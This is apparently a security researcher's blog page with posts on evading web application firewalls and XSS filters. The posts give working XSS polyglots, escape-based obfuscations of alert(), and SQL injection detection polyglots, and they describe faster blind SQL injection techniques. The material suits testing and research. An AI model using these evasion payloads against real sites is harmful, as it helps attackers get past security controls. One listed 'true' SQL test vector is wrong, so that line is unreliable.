Universal WAF Bypass for finding and exploiting SQL injections

Nowadays, many vulnerability scanners don't work because WAFs (Web Application Firewalls) block requests probing for vulnerabilities.

Also, if vulnerabilities are found, WAFs will block requests attempting to exploit such vulnerabilities.

I wanted to find bypasses for all the WAFs being sold in the market (and for the free ones too) so that it would be possible to scan applications for SQL injection vulnerabilities. I also wanted to find bypasses to be able to exploit the injections as well.

After I gathered a large list of websites behind WAFs I proceeded to bypass each one of them. Sometimes websites are behind more than 1 WAF and when you manage to bypass the first WAF, another one is triggered. In an attempt to find a bypass that is able to evade multiple layers of WAFs I wanted to see if it would be possible to craft a universal SQL injection that works across all existing firewalls.

This SQL injection bypass works against all of the following WAFs (and probably more brands too):

  1. OWASP ModSecurity Core Rule Set
  2. Amazon Web Services Cloudfront
  3. Akamai (edgesuite)
  4. Oracle
  5. Cloudflare
  6. Broadcom (Symantec)
  7. Imperva
  8. Barracuda
  9. F5
  10. Fortinet
  11. Fortiguard
  12. Wordfence

One shot, twelve kills.

I stumbled upon 2 WAFs that were able to detect the injection. However, by obfuscating the injection a little bit I managed to bypass those WAFs too. I believe this new technique might be able to bypass any WAF as to this day by obfuscating it and tweaking it out a little bit.

(more…)

High Speed Methods For Blind SQL Injections

I came to the conclusion that the blind SQL injection techniques we use for data exfiltration are slow, and there is huge room for improvement to make them much faster and efficient.

I spent some time designing new high-speed optimized blind SQL injections and I wrote a paper where I documented all of these techniques. The research got accepted to be presented at various security conferences such as Hackfest Quebec, B-Sides Philly, BugCON Mexico, DragonJAR Colombia and Hack in Paris (which I missed because I was severely jet-lagged and I feel very ashamed to say so).

duality.py, one of these optimized attacks, uses inferential algorithms that request only certain fragments of the information and deduce the missing data through the use of decision-making trees. This method takes an average of 30% less requests than the famous tool sqlmap to exfiltrate information from a database. This and more blind SQL injection techniques are explained in this paper.

You can find the paper in .txt format here:
https://nzt-48.org/Papers/high-speed-methods-for-blind-sql-injections.txt

For a self-explanatory and condensed version of the paper, you can find the slides of the talk here (the slides are numerous but most of them are just the same slide with different highlighted values):
https://nzt-48.org/slides/high-speed-methods-for-blind-sql-injections.pdf

These are some screenshots of the slides to make the post look cool:

XSS filter/WAF evasion through invalid escapes

(2 minute read)

Most of the time, WAFs and XSS filters look for specific keywords to detect invocation of dangerous functions or variables.

/page?parameter=alert()
403 FORBIDDEN

A very common bypass technique is to break these specific character sequences like this:

window.alert() can also be written using square-bracket notation: window['alert']()

This is very useful because now the alert method is a string, this means that it can be obfuscated using all kinds of string functions:

window['ale' + 'rt'](1)
window['alexrt'.replace(/x/,'')](1)

Several years ago I found a nice feature in javascript that allows the attacker to break character sequences in a very easy, quick and shorter way. This is done by escaping characters that do not have an escape sequence assigned. For instance, these are valid escapes in javascript:

\' Simple quote
\" Double doble
\ Backslash
\n New line
\r Carriage return
\v Vertical tab
\t Tab
\b Backspace
\f Page forward

Those characters will be escaped to their corresponding values if you add a backslash before them.

If you use a backslash before any other character javascript will simply ignore the backslashes, so the string will be broken while still preserving its meaning:

window['\a\l\ert'](1)
window['\pr\o\m\pt'](1)

Hopefully this will help to speed-up the process of evading WAFs.

Detection of Blind XSS Vulnerabilities

( < 5 minute read)

I noticed that Gareth Heyes has a sweet one-liner XSS testing polyglot in his twitter profile (@GarethHeyes).

This vector is particularly useful for detecting blind XSS vulnerabilities.

I thought it would be fun to see if I could make it shorter and more effective.

I managed to shorten the length by 10 bytes and surprisingly enough it also works in one more context. This is the one-liner polyglot:

javascript:/*</title></textarea></style --></xmp></script><svg/onload='//"/**/%0a
onmouseover=alert()//'>

It is 103 bytes long and it works in one more context than Gareth's (his doesn't work in single line comment contexts (//), although I find his vector to be more elegant).

I decided to improve it so that it works in every possible context:

<script>xss</script>
<script>a='
xss'</script>
<script>a="
xss"</script>
<script>a="
xss"</script>
<script>//
xss</script>
<script>/*
xss*/</script>
<a href='
xss'></a>
<title>
xss</title>
<textarea>
xss</textarea>
<style>xss</style>
<div>
xss</div>
<div
xss></div>
<div class='
xss'></div>
<div class="
xss"></div>
<div class=
xss></div>
<noscript>
xss</noscript>
<noembed>
xss</noembed>
<!--
xss -->
<xmp>
xss</xmp>
<math>xss</math>
<frameset>
xss</frameset>

The resulting vector is:

javascript:/*</title></textarea></style --></xmp></script></noembed></noscript></math><svg/onload='//"/**/%0aonmouseover=alert()//'>

You can also add a ${{7*7}} at the very end to test against template injections as well.

Besides for Blind XSS, this vector is also good for optimizing the process of finding regular cross-site scripting vulnerabilities. Instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in approximately only 5% of the time.

Can you make it even shorter? Let me know in the comments or through X (@ruben_v_pina)

SQL Injection Detection Optimization

(3 minute read)

For Black Hat 2013, Roberto Salgado (@LightOS) came up with the idea of optimizing the detection phase of SQL injection vulnerabilities.

Usually, to test if a parameter is vulnerable to SQL injection, the following requests must be performed to find out the context of the injection. It might be between single quotes ('), double quotes (") or with no delimiters at all:

TRUE RESPONSES
-1' or '1'='1
-1" or "1"="1
-1 or 1=0

FALSE RESPONSES
-1' or '1'='0
-1" or "1"="0
-1 or 1=0

LightOS came up with the idea of fusing the three testing vectors. This is the multi-context functional polyglot that works in any of the already three mentioned contexts:

-1 OR 1#"or"'OR''='"="'OR''='

Numeric context:
-1 OR 1#"or"'OR''='"="'OR''='

Double quotation:
-1 OR 1#"or"'OR''='"="'OR''='

Single quotation:
-1 OR 1#"or"'OR''='"="'OR''='

You can find his slides in the following link: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

Mirror: https://nzt-48.org/archive/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

My version of the vector is 7 characters shorter:

-1 or 1#'or"or'"!='!="

Numeric context:
-1 or 1#'or"or'"!='!="

Single quotation:
-1 or 1#'or"or'"!='!="

Double quotation:
-1 or 1#'or"or'"!='!="

I find LightOS's solution to be much more elegant because he used an equality. Can make it even shorter?